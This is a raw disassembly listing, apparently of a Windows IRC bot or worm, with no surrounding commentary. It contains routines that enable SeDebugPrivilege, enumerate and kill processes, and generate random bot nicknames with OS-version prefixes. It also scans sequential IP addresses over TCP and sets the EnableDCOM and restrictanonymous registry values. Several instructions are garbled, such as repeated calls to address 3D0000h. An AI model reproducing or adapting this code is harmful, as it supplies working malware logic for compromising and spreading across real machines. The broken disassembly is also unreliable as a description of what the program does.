push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_413C7D
; ---------------------------------------------------------------------------
loc_413BF8: ; CODE XREF: sub_413B5B+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413BFF: ; CODE XREF: sub_413B5B+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C06: ; CODE XREF: sub_413B5B+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C0D: ; CODE XREF: sub_413B5B+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_413C46
jz short loc_413C3F
sub eax, 8ADh
jz short loc_413C71
dec eax
dec eax
jz short loc_413C38
dec eax
jz short loc_413C31
dec eax
dec eax
jnz short loc_413C5C
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C31: ; CODE XREF: sub_413B5B+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C38: ; CODE XREF: sub_413B5B+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C3F: ; CODE XREF: sub_413B5B+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C46: ; CODE XREF: sub_413B5B+B9j
sub eax, 8CAh
jz short loc_413C78
sub eax, 17h
jz short loc_413C71
sub eax, 25h
jz short loc_413C6A
sub eax, 29h
jz short loc_413C63
loc_413C5C: ; CODE XREF: sub_413B5B+35j
; sub_413B5B+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C63: ; CODE XREF: sub_413B5B+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C6A: ; CODE XREF: sub_413B5B+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C71: ; CODE XREF: sub_413B5B+C2j
; sub_413B5B+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_413C7D
; ---------------------------------------------------------------------------
loc_413C78: ; CODE XREF: sub_413B5B+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_413C7D: ; CODE XREF: sub_413B5B+40j
; sub_413B5B+4Aj ...
push offset dword_468BE0
call sub_4154CD
pop ecx
mov eax, offset dword_468BE0
pop ecx
retn
sub_413B5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C8F proc near ; CODE XREF: seg000:0040EF34p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4179D9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call near ptr 3D0000h
wait
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4179D9
lea eax, [ebp+var_718]
push eax
call sub_4179BC
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call ds:dword_43A388
test eax, eax
jnz short loc_413D1F
mov esi, offset dword_4689DC
push offset dword_437400
push esi
call sub_4154CD
pop ecx
pop ecx
jmp short loc_413D48
; ---------------------------------------------------------------------------
loc_413D1F: ; CODE XREF: sub_413C8F+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_413B5B
pop ecx
mov esi, offset dword_4689DC
push eax
push offset dword_4373C4
push esi
call sub_4154CD
add esp, 14h
loc_413D48: ; CODE XREF: sub_413C8F+8Ej
mov eax, esi
pop esi
leave
retn
sub_413C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D4D proc near ; CODE XREF: sub_409DD7+7p
; sub_413DB8+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 3D0000h
add [eax-1], dl
adc eax, offset dword_43A35C
test eax, eax
jnz short loc_413D6C
leave
retn
; ---------------------------------------------------------------------------
loc_413D6C: ; CODE XREF: sub_413D4D+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_43A334 ; LookupPrivilegeValueA
test eax, eax
jz short loc_413DAA
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_413D93
or [ebp+var_8], 2
jmp short loc_413D97
; ---------------------------------------------------------------------------
loc_413D93: ; CODE XREF: sub_413D4D+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_413D97: ; CODE XREF: sub_413D4D+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_43A3E4 ; AdjustTokenPrivileges
mov esi, eax
loc_413DAA: ; CODE XREF: sub_413D4D+32j
push [ebp+var_4]
call ds:dword_42106C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_413D4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DB8 proc near ; CODE XREF: seg000:00411610p
; sub_413F69+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_43A398, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_413F62
cmp ds:dword_43A37C, ebx
jz loc_413F62
cmp ds:dword_43A298, ebx
jz loc_413F62
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413D4D
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_43A398 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_413F55
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call ds:dword_43A37C ; Process32First
mov esi, ds:dword_42106C
test eax, eax
jz loc_413F50
loc_413E5B: ; CODE XREF: sub_413DB8+BEj
; sub_413DB8+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call ds:dword_43A298 ; Process32Next
test eax, eax
jz loc_413F50
cmp [ebp+arg_10], ebx
jnz short loc_413E5B
cmp [ebp+arg_C], ebx
jnz loc_413F08
cmp [ebp+arg_4], ebx
jz short loc_413E5B
push [ebp+var_124]
push 8
call ds:dword_43A398 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_413EC5
lea eax, [ebp+var_350]
push eax
push edi
call ds:dword_43A244 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_413ECB
lea eax, [ebp+var_230]
jmp short loc_413ED1
; ---------------------------------------------------------------------------
loc_413EC5: ; CODE XREF: sub_413DB8+EBj
push [ebp+var_124]
loc_413ECB: ; CODE XREF: sub_413DB8+103j
lea eax, [ebp+var_108]
loc_413ED1: ; CODE XREF: sub_413DB8+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4154CD
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
push edi
call esi ; CloseHandle
jmp loc_413E5B
; ---------------------------------------------------------------------------
loc_413F08: ; CODE XREF: sub_413DB8+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_413E5B
push [ebp+var_124]
push ebx
push 1F0FFFh
call near ptr 3D0000h
loc_413F32: ; CODE XREF: sub_413DB8+17Cj
mov edi, edi
jnz short loc_413F32
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call near ptr 3D0000h
wait
test eax, eax
jnz short loc_413F4B
push edi
call esi ; CloseHandle
jmp short loc_413F62
; ---------------------------------------------------------------------------
loc_413F4B: ; CODE XREF: sub_413DB8+18Cj
push 1
pop eax
jmp short loc_413F64
; ---------------------------------------------------------------------------
loc_413F50: ; CODE XREF: sub_413DB8+9Dj
; sub_413DB8+B5j
push [ebp+var_4]
call esi ; CloseHandle
loc_413F55: ; CODE XREF: sub_413DB8+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413D4D
pop ecx
pop ecx
loc_413F62: ; CODE XREF: sub_413DB8+3Aj
; sub_413DB8+46j ...
xor eax, eax
loc_413F64: ; CODE XREF: sub_413DB8+196j
pop edi
pop esi
pop ebx
leave
retn
sub_413DB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F69 proc near ; DATA XREF: seg000:004121C8o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_4374D0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4154CD
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_413FC8
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412D32
add esp, 14h
loc_413FC8: ; CODE XREF: sub_413F69+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_413DB8
add esp, 18h
test eax, eax
jnz short loc_413FF0
push offset dword_437494
jmp short loc_413FF5
; ---------------------------------------------------------------------------
loc_413FF0: ; CODE XREF: sub_413F69+7Ej
push offset dword_43745C
loc_413FF5: ; CODE XREF: sub_413F69+85j
lea eax, [ebp+var_298]
push eax
call sub_4154CD
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_414028
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412D32
add esp, 14h
loc_414028: ; CODE XREF: sub_413F69+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40B151
push [ebp+var_14]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
retn
sub_413F69 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
sub_414047 proc near ; CODE XREF: seg000:004115B2p
; sub_4150B4+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 3D0000h
repne mov esi, eax
test esi, esi
jz short loc_414079
push 0
push esi
call near ptr 3D0000h
les eax, [ebp+560975C0h]
xor edi, edi
call ds:dword_42106C ; CloseHandle
loc_414079: ; CODE XREF: sub_414047+1Aj
mov eax, edi
pop edi
pop esi
retn
sub_414047 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41407E proc near ; CODE XREF: sub_4036D4+Ap
; sub_403C8B+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_415529
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_421668
call sub_415F6C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_41407E endp
; =============== S U B R O U T I N E =======================================
sub_4140AE proc near ; CODE XREF: sub_414419+49p
; DATA XREF: seg002:off_437518o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aSf_0 ; "SF-"
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_415A4A
xor esi, esi
add esp, 10h
cmp ds:dword_42C168, esi
jle short loc_414107
loc_4140E1: ; CODE XREF: sub_4140AE+57j
call sub_415529
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43756C
push 1Ch
push edi
call sub_415A4A
add esp, 14h
inc esi
cmp esi, ds:dword_42C168
jl short loc_4140E1
loc_414107: ; CODE XREF: sub_4140AE+31j
mov eax, edi
pop edi
pop esi
retn
sub_4140AE endp
; =============== S U B R O U T I N E =======================================
sub_41410C proc near ; CODE XREF: seg000:00410B85p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
pop ecx
call sub_415529
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_42C168
test esi, esi
jle short loc_41414F
loc_414139: ; CODE XREF: sub_41410C+41j
call sub_415529
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_414139
loc_41414F: ; CODE XREF: sub_41410C+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41410C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
pop ecx
lea eax, [ebp-8]
mov esi, offset dword_437574
push eax
push esi
call near ptr 3D0000h
and [edi], ecx
mov esi, 43757405h
add [edx+41h], ch
pop ecx
push 1
pop edx
loc_414195: ; CODE XREF: seg000:004141A0j
cmp eax, ecx
jnz short loc_41419C
mov [ebp-4], edx
loc_41419C: ; CODE XREF: seg000:00414197j
inc ecx
cmp ecx, 5Bh
jl short loc_414195
push 61h
pop ecx
loc_4141A5: ; CODE XREF: seg000:004141B0j
cmp eax, ecx
jnz short loc_4141AC
mov [ebp-4], edx
loc_4141AC: ; CODE XREF: seg000:004141A7j
inc ecx
cmp ecx, 7Bh
jl short loc_4141A5
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_415A4A
xor esi, esi
add esp, 0Ch
cmp ds:dword_42C168, esi
jle short loc_4141F1
loc_4141CB: ; CODE XREF: seg000:004141EFj
call sub_415529
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43756C
push 1Ch
push edi
call sub_415A4A
add esp, 14h
inc esi
cmp esi, ds:dword_42C168
jl short loc_4141CB
loc_4141F1: ; CODE XREF: seg000:004141C9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_421144 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_437578
push 1Ch
push edi
call sub_415A4A
xor esi, esi
add esp, 10h
cmp ds:dword_42C168, esi
jle short loc_414266
loc_414240: ; CODE XREF: seg000:00414264j
call sub_415529
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43756C
push 1Ch
push edi
call sub_415A4A
add esp, 14h
inc esi
cmp esi, ds:dword_42C168
jl short loc_414240
loc_414266: ; CODE XREF: seg000:0041423Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_438F9C
mov dword ptr [ebp-94h], 94h
call ds:dword_42110C ; GetVersionExA
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_4142F0
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4142D0
cmp dword ptr [ebp-84h], 1
jnz short loc_4142C0
mov esi, offset a95 ; "95"
loc_4142C0: ; CODE XREF: seg000:004142B9j
cmp dword ptr [ebp-84h], 2
jnz short loc_41432C
mov esi, offset aNt ; "NT"
jmp short loc_41432C
; ---------------------------------------------------------------------------
loc_4142D0: ; CODE XREF: seg000:004142B0j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_4142E0
mov esi, offset a98 ; "98"
jmp short loc_41432C
; ---------------------------------------------------------------------------
loc_4142E0: ; CODE XREF: seg000:004142D7j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_414327
mov esi, offset aMe ; "ME"
jmp short loc_41432C
; ---------------------------------------------------------------------------
loc_4142F0: ; CODE XREF: seg000:004142A7j
cmp dword ptr [ebp-90h], 5
jnz short loc_414327
cmp dword ptr [ebp-8Ch], 0
jnz short loc_414309
mov esi, offset a2k ; "2K"
jmp short loc_41432C
; ---------------------------------------------------------------------------
loc_414309: ; CODE XREF: seg000:00414300j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_414319
mov esi, offset aXp ; "XP"
jmp short loc_41432C
; ---------------------------------------------------------------------------
loc_414319: ; CODE XREF: seg000:00414310j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_437584
jz short loc_41432C
loc_414327: ; CODE XREF: seg000:004142E7j
; seg000:004142F7j
mov esi, offset dword_42B798
loc_41432C: ; CODE XREF: seg000:004142C7j
; seg000:004142CEj ...
mov edi, [ebp+8]
push esi
push offset dword_43757C
push 1Ch
push edi
call sub_415A4A
xor esi, esi
add esp, 10h
cmp ds:dword_42C168, esi
jle short loc_414370
loc_41434A: ; CODE XREF: seg000:0041436Ej
call sub_415529
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43756C
push 1Ch
push edi
call sub_415A4A
add esp, 14h
inc esi
cmp esi, ds:dword_42C168
jl short loc_41434A
loc_414370: ; CODE XREF: seg000:00414348j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414376 proc near ; CODE XREF: sub_414419+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_4143C5
call ds:dword_43A384 ; FindWindowA
test eax, eax
mov eax, offset dword_437590
jnz short loc_4143AE
mov eax, offset byte_438F9C
loc_4143AE: ; CODE XREF: sub_414376+31j
push eax
push esi
push offset dword_437588
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_415A4A
add esp, 14h
jmp short loc_4143E5
; ---------------------------------------------------------------------------
loc_4143C5: ; CODE XREF: sub_414376+22j
call ds:dword_43A384 ; FindWindowA
test eax, eax
mov eax, offset dword_437590
jnz short loc_4143D9
mov eax, offset byte_438F9C
loc_4143D9: ; CODE XREF: sub_414376+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_4143E5: ; CODE XREF: sub_414376+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_415CD0
pop ecx
cmp eax, 2
pop esi
jbe short loc_414414
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_416EF0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_416D20
add esp, 18h
loc_414414: ; CODE XREF: sub_414376+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_414376 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414419 proc near ; CODE XREF: sub_40CB59+7Fp
; sub_40CCC1+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_437514
loc_414425: ; CODE XREF: sub_414419+3Fj
cmp [ebp+arg_C], 0
jz short loc_414440
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_4158F0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_41444A
; ---------------------------------------------------------------------------
loc_414440: ; CODE XREF: sub_414419+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_41444A: ; CODE XREF: sub_414419+25j
test eax, eax
jnz short loc_41445C
add esi, 14h
inc edi
cmp esi, offset dword_437578
jl short loc_414425
jmp short loc_41446A
; ---------------------------------------------------------------------------
loc_41445C: ; CODE XREF: sub_414419+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_437518[eax*4]
pop ecx
loc_41446A: ; CODE XREF: sub_414419+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_41447D
push [ebp+arg_0]
call sub_414376
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41447D: ; CODE XREF: sub_414419+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_414419 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414482 proc near ; DATA XREF: sub_41454F+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call ds:dword_43A378 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call ds:dword_43A3F8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_414540
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_43A320 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_43F514[ecx], esi
jz short loc_414540
push [ebp+var_34]
push [ebp+var_28]
call ds:dword_43A404 ; inet_ntoa
push eax
mov edi, offset dword_469244
push offset unk_437594
push edi
call sub_4154CD
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_412D32
push edi
call sub_40B151
add esp, 28h
loc_414540: ; CODE XREF: sub_414482+5Dj
; sub_414482+7Ej
push esi
call ds:dword_43A410 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_414482 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41454F proc near ; DATA XREF: seg000:004102E8o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_421060
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_41457D: ; CODE XREF: sub_41454F+ECj
push [ebp+var_2C]
push [ebp+var_20]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_4375D0
push eax
call sub_4154CD
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43F308
push eax
call sub_416D20
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_414482
push edi
push edi
call ds:dword_42108C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_4145E9
loc_4145DE: ; CODE XREF: sub_41454F+98j
cmp [ebp+var_C], edi
jnz short loc_4145E9
push 32h
call esi ; Sleep
jmp short loc_4145DE
; ---------------------------------------------------------------------------
loc_4145E9: ; CODE XREF: sub_41454F+8Dj
; sub_41454F+92j
push [ebp+var_4]
call ds:dword_42106C ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4155B0
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_43A2AC ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_43A374 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_4155B0
add esp, 0Ch
jmp loc_41457D
sub_41454F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414640 proc near ; DATA XREF: seg000:004127E4o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_75 = byte ptr -75h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_414687
call near ptr loc_41469F+1
jmp short loc_41468C
; ---------------------------------------------------------------------------
loc_414687: ; CODE XREF: sub_414640+3Ej
call sub_4149C4
loc_41468C: ; CODE XREF: sub_414640+45j
add esp, 10h
push [ebp+var_14]
call sub_415295
pop ecx
push 0
call near ptr 3D0000h
loc_41469F: ; CODE XREF: sub_414640+40p
cmp dl, [ebp+var_75]
sub_414640 endp ; sp-analysis failed
in al, dx
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_43A448, edi
jnz loc_4147D2
lea eax, [ebp-4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_43A3E8 ; RegOpenKeyExA
test eax, eax
jnz short loc_41472B
mov ax, ds:word_4379B8
mov [ebp-6], ax
lea eax, [ebp-6]
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push dword ptr [ebp-4]
call ds:dword_43A39C ; RegSetValueExA
test eax, eax
jz short loc_41470D
push offset unk_437974
jmp short loc_414712
; ---------------------------------------------------------------------------
loc_41470D: ; CODE XREF: seg000:00414704j
push offset dword_437944
loc_414712: ; CODE XREF: seg000:0041470Bj
lea eax, [ebp-214h]
push eax
call sub_4154CD
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_43A354 ; RegCloseKey
jmp short loc_41473E
; ---------------------------------------------------------------------------
loc_41472B: ; CODE XREF: seg000:004146D6j
lea eax, [ebp-214h]
push offset unk_437900
push eax
call sub_4154CD
pop ecx
pop ecx
loc_41473E: ; CODE XREF: seg000:00414729j
cmp [ebp+14h], edi
jnz short loc_41475D
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_412D32
add esp, 14h
loc_41475D: ; CODE XREF: seg000:00414741j
lea eax, [ebp-214h]
push eax
call sub_40B151
pop ecx
lea eax, [ebp-4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_43A3E8 ; RegOpenKeyExA
test eax, eax
jnz short loc_4147CB
lea eax, [ebp-8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push dword ptr [ebp-4]
mov dword ptr [ebp-8], 1
call ds:dword_43A39C ; RegSetValueExA
test eax, eax
jz short loc_4147AD
push offset unk_43789C
jmp short loc_4147B2
; ---------------------------------------------------------------------------
loc_4147AD: ; CODE XREF: seg000:004147A4j
push offset unk_437854
loc_4147B2: ; CODE XREF: seg000:004147ABj
lea eax, [ebp-214h]
push eax
call sub_4154CD
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_43A354 ; RegCloseKey
jmp short loc_4147E5
; ---------------------------------------------------------------------------
